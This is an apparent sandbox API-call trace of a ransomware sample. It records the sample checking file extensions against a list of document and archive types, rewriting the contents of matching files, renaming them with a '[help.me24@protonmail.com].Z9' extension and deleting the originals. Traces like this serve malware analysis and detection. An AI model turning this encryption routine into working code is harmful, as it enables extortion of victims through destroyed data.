	[0072.221] WriteFile (in: hFile=0x2bc, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0072.221] SetEndOfFile (hFile=0x2bc) returned 1
	[0072.221] CloseHandle (hObject=0x2bc) returned 1
	[0072.222] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.222] SetEndOfFile (hFile=0x354) returned 1
	[0072.223] CloseHandle (hObject=0x354) returned 1
	[0072.223] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.223] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1
	[0072.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.223] lstrlenW (lpString=".doc") returned 4
	[0072.223] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.223] lstrlenW (lpString=".docx") returned 5
	[0072.223] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0072.223] lstrlenW (lpString=".pdf") returned 4
	[0072.223] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.223] lstrlenW (lpString=".xls") returned 4
	[0072.223] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.223] lstrlenW (lpString=".xlsx") returned 5
	[0072.223] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0072.223] lstrlenW (lpString=".ppt") returned 4
	[0072.224] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.224] lstrlenW (lpString=".zip") returned 4
	[0072.224] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.224] lstrlenW (lpString=".rar") returned 4
	[0072.224] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.224] lstrlenW (lpString=".bz2") returned 4
	[0072.224] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.224] lstrlenW (lpString=".7z") returned 3
	[0072.224] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.224] lstrlenW (lpString=".dbf") returned 4
	[0072.224] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.224] lstrlenW (lpString=".1cd") returned 4
	[0072.224] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.224] lstrlenW (lpString=".jpg") returned 4
	[0072.224] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.224] lstrlenW (lpString=".doc") returned 4
	[0072.224] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.224] lstrlenW (lpString=".docx") returned 5
	[0072.224] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0072.224] lstrlenW (lpString=".pdf") returned 4
	[0072.224] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.224] lstrlenW (lpString=".xls") returned 4
	[0072.224] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.224] lstrlenW (lpString=".xlsx") returned 5
	[0072.224] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0072.224] lstrlenW (lpString=".ppt") returned 4
	[0072.224] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.225] lstrlenW (lpString=".zip") returned 4
	[0072.225] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.225] lstrlenW (lpString=".rar") returned 4
	[0072.225] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.225] lstrlenW (lpString=".bz2") returned 4
	[0072.225] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.225] lstrlenW (lpString=".7z") returned 3
	[0072.225] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.225] lstrlenW (lpString=".dbf") returned 4
	[0072.225] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.225] lstrlenW (lpString=".1cd") returned 4
	[0072.225] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0072.225] lstrlenW (lpString=".jpg") returned 4
	[0072.225] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.225] lstrcmpiW (lpString1=".msi", lpString2=".Z9") returned -1
	[0072.225] lstrlenW (lpString="netfx_Core_x64.msi") returned 18
	[0072.225] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0072.226] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1901056) returned 1
	[0072.226] CloseHandle (hObject=0x354) returned 1
	[0072.226] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80
	[0072.226] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.226] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0072.227] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0072.227] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0x0) returned 1
	[0072.227] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.227] ReadFile (in: hFile=0x354, lpBuffer=0x3c36058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c36058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.230] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.230] ReadFile (in: hFile=0x354, lpBuffer=0x3c76058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c76058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.236] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0072.236] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.236] ReadFile (in: hFile=0x354, lpBuffer=0x3cb6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3cb6058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.767] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.767] WriteFile (in: hFile=0x354, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x38cfca8, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfca8*=0xc0110, lpOverlapped=0x0) returned 1
	[0072.790] SetEndOfFile (hFile=0x354) returned 1
	[0072.791] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3da3968
	[0072.795] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0072.795] WriteFile (in: hFile=0x354, lpBuffer=0x3da3968*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da3968*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0072.797] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0072.797] WriteFile (in: hFile=0x354, lpBuffer=0x3da3968*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da3968*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.582] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.582] WriteFile (in: hFile=0x354, lpBuffer=0x3da3968*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da3968*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.584] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0073.585] CloseHandle (hObject=0x354) returned 1
	[0074.452] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0074.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.453] lstrlenW (lpString=".doc") returned 4
	[0074.453] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0074.453] lstrlenW (lpString=".docx") returned 5
	[0074.453] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0074.453] lstrlenW (lpString=".pdf") returned 4
	[0074.453] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0074.453] lstrlenW (lpString=".xls") returned 4
	[0074.453] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0074.453] lstrlenW (lpString=".xlsx") returned 5
	[0074.453] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0074.453] lstrlenW (lpString=".ppt") returned 4
	[0074.453] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0074.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.453] lstrlenW (lpString=".zip") returned 4
	[0074.453] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0074.453] lstrlenW (lpString=".rar") returned 4
	[0074.453] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0074.453] lstrlenW (lpString=".bz2") returned 4
	[0074.453] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0074.454] lstrlenW (lpString=".7z") returned 3
	[0074.454] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0074.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.454] lstrlenW (lpString=".dbf") returned 4
	[0074.454] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0074.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.454] lstrlenW (lpString=".1cd") returned 4
	[0074.454] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0074.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.454] lstrlenW (lpString=".jpg") returned 4
	[0074.454] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0074.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.454] lstrlenW (lpString=".doc") returned 4
	[0074.454] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0074.454] lstrlenW (lpString=".docx") returned 5
	[0074.454] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0074.454] lstrlenW (lpString=".pdf") returned 4
	[0074.454] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0074.454] lstrlenW (lpString=".xls") returned 4
	[0074.454] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0074.454] lstrlenW (lpString=".xlsx") returned 5
	[0074.454] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0074.454] lstrlenW (lpString=".ppt") returned 4
	[0074.454] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0074.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.454] lstrlenW (lpString=".zip") returned 4
	[0074.454] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0074.454] lstrlenW (lpString=".rar") returned 4
	[0074.454] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0074.454] lstrlenW (lpString=".bz2") returned 4
	[0074.454] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0074.454] lstrlenW (lpString=".7z") returned 3
	[0074.454] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0074.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.454] lstrlenW (lpString=".dbf") returned 4
	[0074.455] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0074.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.455] lstrlenW (lpString=".1cd") returned 4
	[0074.455] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0074.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0074.455] lstrlenW (lpString=".jpg") returned 4
	[0074.455] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0074.455] lstrcmpiW (lpString1=".msi", lpString2=".Z9") returned -1
	[0074.455] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16
	[0074.455] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0074.455] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=184832) returned 1
	[0074.456] CloseHandle (hObject=0x354) returned 1
	[0074.456] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80
	[0074.456] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0074.456] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.456] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.456] GetLastError () returned 0x0
	[0074.456] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x2d200, lpOverlapped=0x0) returned 1
	[0074.461] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x2d210, lpOverlapped=0x0) returned 1
	[0074.465] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.465] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0074.465] SetEndOfFile (hFile=0x338) returned 1
	[0074.465] CloseHandle (hObject=0x338) returned 1
	[0074.471] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.471] SetEndOfFile (hFile=0x354) returned 1
	[0074.473] CloseHandle (hObject=0x354) returned 1
	[0074.473] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0074.474] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1
	[0074.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.474] lstrlenW (lpString=".doc") returned 4
	[0074.474] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0074.474] lstrlenW (lpString=".docx") returned 5
	[0074.474] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0074.474] lstrlenW (lpString=".pdf") returned 4
	[0074.474] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0074.474] lstrlenW (lpString=".xls") returned 4
	[0074.474] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0074.474] lstrlenW (lpString=".xlsx") returned 5
	[0074.474] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0074.475] lstrlenW (lpString=".ppt") returned 4
	[0074.475] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0074.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.475] lstrlenW (lpString=".zip") returned 4
	[0074.475] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0074.475] lstrlenW (lpString=".rar") returned 4
	[0074.475] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0074.475] lstrlenW (lpString=".bz2") returned 4
	[0074.475] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0074.475] lstrlenW (lpString=".7z") returned 3
	[0074.475] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0074.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.475] lstrlenW (lpString=".dbf") returned 4
	[0074.475] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0074.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.475] lstrlenW (lpString=".1cd") returned 4
	[0074.475] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0074.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.475] lstrlenW (lpString=".jpg") returned 4
	[0074.475] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0074.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.475] lstrlenW (lpString=".doc") returned 4
	[0074.475] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0074.475] lstrlenW (lpString=".docx") returned 5
	[0074.475] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0074.475] lstrlenW (lpString=".pdf") returned 4
	[0074.475] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0074.475] lstrlenW (lpString=".xls") returned 4
	[0074.475] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0074.475] lstrlenW (lpString=".xlsx") returned 5
	[0074.475] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0074.476] lstrlenW (lpString=".ppt") returned 4
	[0074.476] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0074.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.476] lstrlenW (lpString=".zip") returned 4
	[0074.476] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0074.476] lstrlenW (lpString=".rar") returned 4
	[0074.476] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0074.476] lstrlenW (lpString=".bz2") returned 4
	[0074.476] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0074.476] lstrlenW (lpString=".7z") returned 3
	[0074.476] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0074.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.476] lstrlenW (lpString=".dbf") returned 4
	[0074.476] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0074.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.476] lstrlenW (lpString=".1cd") returned 4
	[0074.476] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0074.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0074.476] lstrlenW (lpString=".jpg") returned 4
	[0074.476] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0074.476] lstrcmpiW (lpString1=".msi", lpString2=".Z9") returned -1
	[0074.476] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16
	[0074.476] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0074.477] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=94720) returned 1
	[0074.477] CloseHandle (hObject=0x354) returned 1
	[0074.477] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80
	[0074.477] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.477] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0074.477] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.477] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.477] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.477] GetLastError () returned 0x0
	[0074.477] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x17200, lpOverlapped=0x0) returned 1
	[0074.481] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x17210, lpOverlapped=0x0) returned 1
	[0074.484] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.484] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0074.484] SetEndOfFile (hFile=0x338) returned 1
	[0074.484] CloseHandle (hObject=0x338) returned 1
